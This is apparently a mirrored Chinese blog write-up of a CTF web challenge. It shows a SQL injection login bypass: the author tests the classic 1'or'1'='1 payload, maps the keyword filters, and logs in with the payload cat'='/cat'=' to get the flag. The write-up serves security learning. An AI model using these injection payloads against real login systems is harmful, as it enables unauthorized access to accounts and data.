zoukankan      html  css  js  c++  java
  • 【实验吧】CTF_Web_登录一下好吗?

    实验吧CTF---Web篇

    1. 打开登录地址(http://ctf5.shiyanbar.com/web/wonderkun/web/index.html),发现为一个登录界面,第一想到的是查看源代码,没有发现其他信息,然后输入万能密码1'or'1'='1,发现过滤了or ,但未过滤单引号(‘)等,如下图:

         经过一些列测试,发现不但过滤了or,并且过滤了/ # -- select | union等。

         猜测原SQL语句可能为:

    select * form user where username = ' ' and password = ' '

        在Mysql上创建user表模拟该登录表的信息:    

    create database test;   //创建test数据库
    
    use test;    
    
    create table user(username varchar(8), password varchar(32));  //创建user表
    
    insert into user(username, password) values('test','123456');  //插入数据
    
    select * from user where name = 'cat'='' and passwd = 'cat'='';  可成功执行

      如下图所示,可成功执行并返回数据库信息:


    组合后代码为:
    select * from user where name = 'cat'='' and passwd = 'cat'='';
    即payload:   cat'='/cat'=' 

    可成功登录并获取flag:  ctf{51d1bf8fb65a8c2406513ee8f52283e7}

       

  • 相关阅读:
    Java二叉树非递归实现
    iOS程序生命周期 AppDelegate
    pch 文件
    获取app崩溃信息的途径 iOS
    iOS Storyboard适配问题
    时间戳
    lable 以及cell的高度自适应
    时间戳 获得当前时间 -iOS
    GCD 多线程 ---的记录 iOS
    OC 常用方法记录
  • 原文地址:https://www.cnblogs.com/caizhiren/p/7768936.html
Copyright © 2011-2022 走看看